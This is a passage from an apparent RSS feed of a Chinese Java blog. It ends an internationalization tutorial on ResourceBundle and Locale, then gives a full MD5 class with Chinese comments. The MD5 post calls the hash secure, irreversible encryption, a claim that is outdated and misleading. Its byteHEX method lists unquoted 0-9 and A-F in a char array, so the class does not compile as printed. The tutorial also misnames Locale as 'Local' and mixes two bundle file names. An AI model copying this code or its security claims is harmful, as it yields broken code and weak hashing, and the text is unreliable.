System.out.println(messages.getString("inquiry"));<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; System.out.println(messages.getString("farewell"));<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br></font>&nbsp;&nbsp;&nbsp; 请注意：在上面的代码中，信息并没有被hardcoded在代码中！<br>&nbsp;&nbsp;&nbsp; 如果想运行上面的代码，请下载下面的文件：<br>&nbsp;&nbsp;&nbsp; 1、I18NSample.java<br>&nbsp;&nbsp;&nbsp; 2、MessageBundle.properties<br>&nbsp;&nbsp;&nbsp; 3、MessageBundle_de_DE.properties<br>&nbsp;&nbsp;&nbsp; 4、MessageBundle_en_US.properties<br>&nbsp;&nbsp;&nbsp; 5、MessageBundle_fr_FR.properties&nbsp;&nbsp;&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp; 下面看看这个程序的运行结果：<br>&nbsp;&nbsp;&nbsp;&nbsp;显示法语信息：<br>&nbsp;&nbsp;&nbsp; java I18NSample fr FR<br>&nbsp;&nbsp;&nbsp; Bonjour.Comment allez-vous?<br>&nbsp;&nbsp;&nbsp; Au revoir.<br>&nbsp;&nbsp;&nbsp; 显示英语信息：&nbsp;&nbsp;&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp; java I18NSample en US<br>&nbsp;&nbsp;&nbsp; Hello.<br>&nbsp;&nbsp;&nbsp; How are you?<br>&nbsp;&nbsp;&nbsp; Goodbye.
<p>&#160;</p>
<p>&nbsp;&nbsp;&nbsp; 从上面的代码我们可以看出，在实现了国际化的代码中，并没有将需要显示的信息直接hardcode在代码中，而是存在一个文件中供程序使用。程序根据不同的语言和国家（Local）来取得文件中不同信息显示。我们试着按一下的步骤一步一步分析这段代码如何实现了国际化：</p>
<h5>&nbsp;&nbsp;&nbsp; 1、建立properties文件----本地化数据</h5>
<p>&nbsp;&nbsp;&nbsp;&nbsp; properties文件用来存储程序和环境相关的信息。必须以.properties的后缀结尾，properties文件是纯文本格式的。在上面的例子中，一共有4个properties文件。分别定义了不同语言和国家的打招呼、再见和问候时使用的语言。properties文件使用名值对（key-value）的形式，如下所示：<br>&nbsp;&nbsp;&nbsp;&nbsp; greetings = Bonjour.<br>&nbsp;&nbsp;&nbsp;&nbsp; farewell = Au revoir.<br>&nbsp;&nbsp;&nbsp;&nbsp; inquiry = Comment allez-vous?<br>&nbsp;&nbsp;&nbsp;&nbsp; properties文件的名字很重要，它的形式是basename_LL_CC.properties.LL表示语言代码，CC表示国家代码。语言代码和国家代码是Local类初始化的参数，basename是创建ResourceBundle对象的参数。</p>
<h5>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 2、创建Local对象----不同语言和国家的标识</h5>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; java.util.Local是JDK提供的标准API。这个类用来标识国家和语言。<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 我们可以创建一个local对象：<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<font color=#808080>aLocale = new Locale("en","US");<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <font color=#000000>这个对象标志了一个地方，这个地方是美国，并且这里的语言是英语。<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 这下面2个对象又表示什么呢？<br></font>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </font><font color=#000000><font color=#808080>caLocale = new Locale("fr","CA");<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; frLocale = new Locale("fr","FR");</font><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;caLocale对象标志的是加拿大并且那里使用了法语，而frLocal标志的是法国而那里的语言是法语。<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 注意：Local对象只是一个标识类，创建了这个类的对象并不表示你的程序已经实现了国际化。这个类是给那些需要实现国际化的类使用的，它用来标识我们即将实现国际化的Local信息。</font></p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <strong>3、创建ResourceBundle对象----本例中实现国际化的主要角色</strong></p>
<p><font color=#000000>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;java.util.ResourceBundle是JDK提供的标准API。它实际上是个抽象类，同时它提供了创建它的子类的静态工厂方法。在例子程序中我们实际上使用的是ResourceBundle的子类PropertyResourceBundle的对象。通过它，我们可以根据Local对象来读取不同的properties文件，从而取得不同的信息。<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;如</font><font color=#000000>果local = new Locale("en","US");则读取了MessagesBundle_en_US.properties文件。</font><font color=#000000><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 在例子中，用如下语句创建这个对象：<br><font color=#808080>message = ResourceBundle.getBundle("MessagesBundle",&nbsp; currentLocale);</font> </p>
<p>&#160;</p>
<h5>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;4、用ResourceBundle读取信息----本地化实现了</h5>
<p><font color=#000000>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;读取了propeties文件后，我们就可以用ResourceBundle的实例通过getString(String Key)方法来取得信息了。如下的语句所示：<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </font><font color=#808080>String msg1 = messages.getString("greetings");</font></p>
<h4>结论：</h4>
<p><font color=#000000>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 如上面的例子所示，实现国际化实际上并不困难。他需要你做一些计划，并在程序中加入少量的额外编码。本章只是简介，在后面的章节中我们会了解JAVA的更多国际化的高级特性。</font></p>
</font></font>
<img src ="http://www.blogjava.net/WshmAndLily/aggbug/135251.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/WshmAndLily/" target="_blank">semovy</a> 2007-08-08 15:08 <a href="http://www.blogjava.net/WshmAndLily/articles/135251.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>java的md5加密类</title><link>http://www.blogjava.net/WshmAndLily/articles/116995.html</link><dc:creator>semovy</dc:creator><author>semovy</author><pubDate>Sat, 12 May 2007 08:11:00 GMT</pubDate><guid>http://www.blogjava.net/WshmAndLily/articles/116995.html</guid><wfw:comment>http://www.blogjava.net/WshmAndLily/comments/116995.html</wfw:comment><comments>http://www.blogjava.net/WshmAndLily/articles/116995.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/WshmAndLily/comments/commentRss/116995.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/WshmAndLily/services/trackbacks/116995.html</trackback:ping><description><![CDATA[java的md5加密类<br><br>MD5算法是将数据进行不可逆加密的算法有较好的安全性，在国内如寿信的安全支付平台就采用此算法。<br><br>源代码如下<br>/************************************************<br>MD5 算法的Java Bean<br>Last Modified:10,Mar,2001<br>*************************************************/<br><br>import java.lang.reflect.*;<br><br>/*************************************************<br>md5 类实现了RSA Data Security, Inc.在提交给IETF<br>的RFC1321中的MD5 message-digest 算法。<br>*************************************************/<br><br>public class MD5 {<br>/* 下面这些S11-S44实际上是一个4*4的矩阵，在原始的C实现中是用#define 实现的，<br>这里把它们实现成为static final是表示了只读，切能在同一个进程空间内的多个<br>Instance间共享*/<br>static final int S11 = 7;<br>static final int S12 = 12;<br>static final int S13 = 17;<br>static final int S14 = 22;<br><br>static final int S21 = 5;<br>static final int S22 = 9;<br>static final int S23 = 14;<br>static final int S24 = 20;<br><br>static final int S31 = 4;<br>static final int S32 = 11;<br>static final int S33 = 16;<br>static final int S34 = 23;<br><br>static final int S41 = 6;<br>static final int S42 = 10;<br>static final int S43 = 15;<br>static final int S44 = 21;<br><br>static final byte[] PADDING = { -128, 0, 0, 0, 0, 0, 0, 0, 0,<br>0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,<br>0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,<br>0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 };<br>/* 下面的三个成员是MD5计算过程中用到的3个核心数据，在原始的C实现中<br>&nbsp;&nbsp;&nbsp;被定义到MD5_CTX结构中<br><br>*/<br>private long[] state = new long[4];&nbsp;&nbsp;// state (ABCD)<br>private long[] count = new long[2];&nbsp;&nbsp;// number of bits, modulo 2^64 (lsb first)<br>private byte[] buffer = new byte[64]; // input buffer<br><br>/* digestHexStr是MD5的唯一一个公共成员，是最新一次计算结果的<br>　 16进制ASCII表示.<br>*/<br>public String digestHexStr;<br><br>/* digest,是最新一次计算结果的2进制内部表示，表示128bit的MD5值.<br>*/<br>private byte[] digest = new byte[16];<br><br>/*<br>&nbsp;&nbsp;getMD5ofStr是类MD5最主要的公共方法，入口参数是你想要进行MD5变换的字符串<br>&nbsp;&nbsp;返回的是变换完的结果，这个结果是从公共成员digestHexStr取得的．<br>*/<br>public String getMD5ofStr(String inbuf) {<br>md5Init();<br>md5Update(inbuf.getBytes(), inbuf.length());<br>md5Final();<br>digestHexStr = "";<br>for (int i = 0; i &lt; 16; i++) {<br>digestHexStr += byteHEX(digest[i]);<br>}<br>return digestHexStr;<br><br>}<br>// 这是MD5这个类的标准构造函数，JavaBean要求有一个public的并且没有参数的构造函数<br>public MD5() {<br>md5Init();<br><br>return;<br>}<br><br><br><br>/* md5Init是一个初始化函数，初始化核心变量，装入标准的幻数 */<br>private void md5Init() {<br>count[0] = 0L;<br>count[1] = 0L;<br>///* Load magic initialization constants.<br><br>state[0] = 0x67452301L;<br>state[1] = 0xefcdab89L;<br>state[2] = 0x98badcfeL;<br>state[3] = 0x10325476L;<br><br>return;<br>}<br>/* F, G, H ,I 是4个基本的MD5函数，在原始的MD5的C实现中，由于它们是<br>简单的位运算，可能出于效率的考虑把它们实现成了宏，在java中，我们把它们<br>　　实现成了private方法，名字保持了原来C中的。 */<br><br>private long F(long x, long y, long z) {<br>return (x &amp; y) | ((~x) &amp; z);<br><br>}<br>private long G(long x, long y, long z) {<br>return (x &amp; z) | (y &amp; (~z));<br><br>}<br>private long H(long x, long y, long z) {<br>return x ^ y ^ z;<br>}<br><br>private long I(long x, long y, long z) {<br>return y ^ (x | (~z));<br>}<br><br>&nbsp;&nbsp;&nbsp;/* <br>&nbsp;&nbsp;FF,GG,HH和II将调用F,G,H,I进行近一步变换<br>&nbsp;&nbsp;FF, GG, HH, and II transformations for rounds 1, 2, 3, and 4.<br>&nbsp;&nbsp;Rotation is separate from addition to prevent recomputation.<br>&nbsp;&nbsp;&nbsp;*/&nbsp;&nbsp;<br><br>private long FF(long a, long b, long c, long d, long x, long s,<br>long ac) {<br>a += F (b, c, d) + x + ac;<br>a = ((int) a &lt;&lt; s) | ((int) a &gt;&gt;&gt; (32 - s));<br>a += b;<br>return a;<br>}<br><br>private long GG(long a, long b, long c, long d, long x, long s,<br>long ac) {<br>a += G (b, c, d) + x + ac;<br>a = ((int) a &lt;&lt; s) | ((int) a &gt;&gt;&gt; (32 - s));<br>a += b;<br>return a;<br>}<br>private long HH(long a, long b, long c, long d, long x, long s,<br>long ac) {<br>a += H (b, c, d) + x + ac;<br>a = ((int) a &lt;&lt; s) | ((int) a &gt;&gt;&gt; (32 - s));<br>a += b;<br>return a;<br>}<br>private long II(long a, long b, long c, long d, long x, long s,<br>long ac) {<br>a += I (b, c, d) + x + ac;<br>a = ((int) a &lt;&lt; s) | ((int) a &gt;&gt;&gt; (32 - s));<br>a += b;<br>return a;<br>}<br>/*<br>md5Update是MD5的主计算过程，inbuf是要变换的字节串，inputlen是长度，这个<br>函数由getMD5ofStr调用，调用之前需要调用md5init，因此把它设计成private的<br>*/<br>private void md5Update(byte[] inbuf, int inputLen) {<br><br>int i, index, partLen;<br>byte[] block = new byte[64];<br>index = (int)(count[0] &gt;&gt;&gt; 3) &amp; 0x3F;<br>// /* Update number of bits */<br>if ((count[0] += (inputLen &lt;&lt; 3)) &lt; (inputLen &lt;&lt; 3))<br>count[1]++;<br>count[1] += (inputLen &gt;&gt;&gt; 29);<br><br>partLen = 64 - index;<br><br>// Transform as many times as possible.<br>if (inputLen &gt;= partLen) {<br>md5Memcpy(buffer, inbuf, index, 0, partLen);<br>md5Transform(buffer);<br><br>for (i = partLen; i + 63 &lt; inputLen; i += 64) {<br><br>md5Memcpy(block, inbuf, 0, i, 64);<br>md5Transform (block);<br>}<br>index = 0;<br><br>} else<br><br>i = 0;<br><br>///* Buffer remaining input */<br>md5Memcpy(buffer, inbuf, index, i, inputLen - i);<br><br>}<br><br>/*<br>&nbsp;&nbsp;md5Final整理和填写输出结果<br>*/<br>private void md5Final () {<br>byte[] bits = new byte[8];<br>int index, padLen;<br><br>///* Save number of bits */<br>Encode (bits, count, 8);<br><br>///* Pad out to 56 mod 64.<br>index = (int)(count[0] &gt;&gt;&gt; 3) &amp; 0x3f;<br>padLen = (index &lt; 56) ? (56 - index) : (120 - index);<br>md5Update (PADDING, padLen);<br><br>///* Append length (before padding) */<br>md5Update(bits, 8);<br><br>///* Store state in digest */<br>Encode (digest, state, 16);<br><br>}<br><br>/* md5Memcpy是一个内部使用的byte数组的块拷贝函数，从input的inpos开始把len长度的<br>　　　　　 字节拷贝到output的outpos位置开始 <br>*/<br><br>private void md5Memcpy (byte[] output, byte[] input,<br>int outpos, int inpos, int len)<br>{<br>int i;<br><br>for (i = 0; i &lt; len; i++)<br>output[outpos + i] = input[inpos + i];<br>}<br><br>/*<br>&nbsp;&nbsp;&nbsp;md5Transform是MD5核心变换程序，有md5Update调用，block是分块的原始字节<br>*/<br>private void md5Transform (byte block[]) {<br>long a = state[0], b = state[1], c = state[2], d = state[3];<br>long[] x = new long[16];<br><br>Decode (x, block, 64);<br><br>/* Round 1 */<br>a = FF (a, b, c, d, x[0], S11, 0xd76aa478L); /* 1 */<br>d = FF (d, a, b, c, x[1], S12, 0xe8c7b756L); /* 2 */<br>c = FF (c, d, a, b, x[2], S13, 0x242070dbL); /* 3 */<br>b = FF (b, c, d, a, x[3], S14, 0xc1bdceeeL); /* 4 */<br>a = FF (a, b, c, d, x[4], S11, 0xf57c0fafL); /* 5 */<br>d = FF (d, a, b, c, x[5], S12, 0x4787c62aL); /* 6 */<br>c = FF (c, d, a, b, x[6], S13, 0xa8304613L); /* 7 */<br>b = FF (b, c, d, a, x[7], S14, 0xfd469501L); /* 8 */<br>a = FF (a, b, c, d, x[8], S11, 0x698098d8L); /* 9 */<br>d = FF (d, a, b, c, x[9], S12, 0x8b44f7afL); /* 10 */<br>c = FF (c, d, a, b, x[10], S13, 0xffff5bb1L); /* 11 */<br>b = FF (b, c, d, a, x[11], S14, 0x895cd7beL); /* 12 */<br>a = FF (a, b, c, d, x[12], S11, 0x6b901122L); /* 13 */<br>d = FF (d, a, b, c, x[13], S12, 0xfd987193L); /* 14 */<br>c = FF (c, d, a, b, x[14], S13, 0xa679438eL); /* 15 */<br>b = FF (b, c, d, a, x[15], S14, 0x49b40821L); /* 16 */<br><br>/* Round 2 */<br>a = GG (a, b, c, d, x[1], S21, 0xf61e2562L); /* 17 */<br>d = GG (d, a, b, c, x[6], S22, 0xc040b340L); /* 18 */<br>c = GG (c, d, a, b, x[11], S23, 0x265e5a51L); /* 19 */<br>b = GG (b, c, d, a, x[0], S24, 0xe9b6c7aaL); /* 20 */<br>a = GG (a, b, c, d, x[5], S21, 0xd62f105dL); /* 21 */<br>d = GG (d, a, b, c, x[10], S22, 0x2441453L); /* 22 */<br>c = GG (c, d, a, b, x[15], S23, 0xd8a1e681L); /* 23 */<br>b = GG (b, c, d, a, x[4], S24, 0xe7d3fbc8L); /* 24 */<br>a = GG (a, b, c, d, x[9], S21, 0x21e1cde6L); /* 25 */<br>d = GG (d, a, b, c, x[14], S22, 0xc33707d6L); /* 26 */<br>c = GG (c, d, a, b, x[3], S23, 0xf4d50d87L); /* 27 */<br>b = GG (b, c, d, a, x[8], S24, 0x455a14edL); /* 28 */<br>a = GG (a, b, c, d, x[13], S21, 0xa9e3e905L); /* 29 */<br>d = GG (d, a, b, c, x[2], S22, 0xfcefa3f8L); /* 30 */<br>c = GG (c, d, a, b, x[7], S23, 0x676f02d9L); /* 31 */<br>b = GG (b, c, d, a, x[12], S24, 0x8d2a4c8aL); /* 32 */<br><br>/* Round 3 */<br>a = HH (a, b, c, d, x[5], S31, 0xfffa3942L); /* 33 */<br>d = HH (d, a, b, c, x[8], S32, 0x8771f681L); /* 34 */<br>c = HH (c, d, a, b, x[11], S33, 0x6d9d6122L); /* 35 */<br>b = HH (b, c, d, a, x[14], S34, 0xfde5380cL); /* 36 */<br>a = HH (a, b, c, d, x[1], S31, 0xa4beea44L); /* 37 */<br>d = HH (d, a, b, c, x[4], S32, 0x4bdecfa9L); /* 38 */<br>c = HH (c, d, a, b, x[7], S33, 0xf6bb4b60L); /* 39 */<br>b = HH (b, c, d, a, x[10], S34, 0xbebfbc70L); /* 40 */<br>a = HH (a, b, c, d, x[13], S31, 0x289b7ec6L); /* 41 */<br>d = HH (d, a, b, c, x[0], S32, 0xeaa127faL); /* 42 */<br>c = HH (c, d, a, b, x[3], S33, 0xd4ef3085L); /* 43 */<br>b = HH (b, c, d, a, x[6], S34, 0x4881d05L); /* 44 */<br>a = HH (a, b, c, d, x[9], S31, 0xd9d4d039L); /* 45 */<br>d = HH (d, a, b, c, x[12], S32, 0xe6db99e5L); /* 46 */<br>c = HH (c, d, a, b, x[15], S33, 0x1fa27cf8L); /* 47 */<br>b = HH (b, c, d, a, x[2], S34, 0xc4ac5665L); /* 48 */<br><br>/* Round 4 */<br>a = II (a, b, c, d, x[0], S41, 0xf4292244L); /* 49 */<br>d = II (d, a, b, c, x[7], S42, 0x432aff97L); /* 50 */<br>c = II (c, d, a, b, x[14], S43, 0xab9423a7L); /* 51 */<br>b = II (b, c, d, a, x[5], S44, 0xfc93a039L); /* 52 */<br>a = II (a, b, c, d, x[12], S41, 0x655b59c3L); /* 53 */<br>d = II (d, a, b, c, x[3], S42, 0x8f0ccc92L); /* 54 */<br>c = II (c, d, a, b, x[10], S43, 0xffeff47dL); /* 55 */<br>b = II (b, c, d, a, x[1], S44, 0x85845dd1L); /* 56 */<br>a = II (a, b, c, d, x[8], S41, 0x6fa87e4fL); /* 57 */<br>d = II (d, a, b, c, x[15], S42, 0xfe2ce6e0L); /* 58 */<br>c = II (c, d, a, b, x[6], S43, 0xa3014314L); /* 59 */<br>b = II (b, c, d, a, x[13], S44, 0x4e0811a1L); /* 60 */<br>a = II (a, b, c, d, x[4], S41, 0xf7537e82L); /* 61 */<br>d = II (d, a, b, c, x[11], S42, 0xbd3af235L); /* 62 */<br>c = II (c, d, a, b, x[2], S43, 0x2ad7d2bbL); /* 63 */<br>b = II (b, c, d, a, x[9], S44, 0xeb86d391L); /* 64 */<br><br>state[0] += a;<br>state[1] += b;<br>state[2] += c;<br>state[3] += d;<br><br>}<br><br>/*Encode把long数组按顺序拆成byte数组，因为java的long类型是64bit的，<br>&nbsp;&nbsp;只拆低32bit，以适应原始C实现的用途<br>*/<br>private void Encode (byte[] output, long[] input, int len) {<br>int i, j;<br><br>for (i = 0, j = 0; j &lt; len; i++, j += 4) {<br>output[j] = (byte)(input[i] &amp; 0xffL);<br>output[j + 1] = (byte)((input[i] &gt;&gt;&gt; 8) &amp; 0xffL);<br>output[j + 2] = (byte)((input[i] &gt;&gt;&gt; 16) &amp; 0xffL);<br>output[j + 3] = (byte)((input[i] &gt;&gt;&gt; 24) &amp; 0xffL);<br>}<br>}<br><br>/*Decode把byte数组按顺序合成成long数组，因为java的long类型是64bit的，<br>&nbsp;&nbsp;只合成低32bit，高32bit清零，以适应原始C实现的用途<br>*/<br>private void Decode (long[] output, byte[] input, int len) {<br>int i, j;<br><br><br>for (i = 0, j = 0; j &lt; len; i++, j += 4)<br>output[i] = b2iu(input[j]) |<br>(b2iu(input[j + 1]) &lt;&lt; 8) |<br>(b2iu(input[j + 2]) &lt;&lt; 16) |<br>(b2iu(input[j + 3]) &lt;&lt; 24);<br><br>return;<br>}<br>&nbsp;&nbsp;&nbsp;<br>/*<br>&nbsp;&nbsp;b2iu是我写的一个把byte按照不考虑正负号的原则的＂升位＂程序，因为java没有unsigned运算<br>*/<br>public static long b2iu(byte b) {<br>return b &lt; 0 ? b &amp; 0x7F + 128 : b;<br>}<br><br>/*byteHEX()，用来把一个byte类型的数转换成十六进制的ASCII表示，<br>　因为java中的byte的toString无法实现这一点，我们又没有C语言中的<br>&nbsp;&nbsp;sprintf(outbuf,"%02X",ib)<br>*/<br>public static String byteHEX(byte ib) {<br>char[] Digit = { 0,1,2,3,4,5,6,7,8,9,<br>A,B,C,D,E,F };<br>char [] ob = new char[2];<br>ob[0] = Digit[(ib &gt;&gt;&gt; 4) &amp; 0X0F];<br>ob[1] = Digit[ib &amp; 0X0F];<br>String s = new String(ob);<br>return s;<br>}<br>} <br>
<img src ="http://www.blogjava.net/WshmAndLily/aggbug/116995.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/WshmAndLily/" target="_blank">semovy</a> 2007-05-12 16:11 <a href="http://www.blogjava.net/WshmAndLily/articles/116995.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item></channel></rss>